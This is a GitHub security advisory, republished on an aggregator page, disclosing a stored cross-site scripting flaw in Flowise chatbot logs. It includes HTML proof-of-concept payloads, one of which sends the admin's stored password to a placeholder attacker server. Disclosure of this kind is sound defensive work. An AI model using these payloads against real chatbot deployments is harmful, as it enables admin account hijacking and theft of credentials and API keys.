Flowise Stored XSS vulnerability through logs in chatbot

### Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting. ### PoC ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> ``` If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> ``` So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps. ### Poc Video [poc](https://drive.google.com/file/d/1_3HwU0MxZ4HfJqpx2mOBjxf-WSCMM_4o/view?usp=sharing) ### Impact An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.

Source published

3 Oct 2025 21:48:36 UTC

Source modified

8 Jul 2026 07:14:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Publisher rating · MODERATE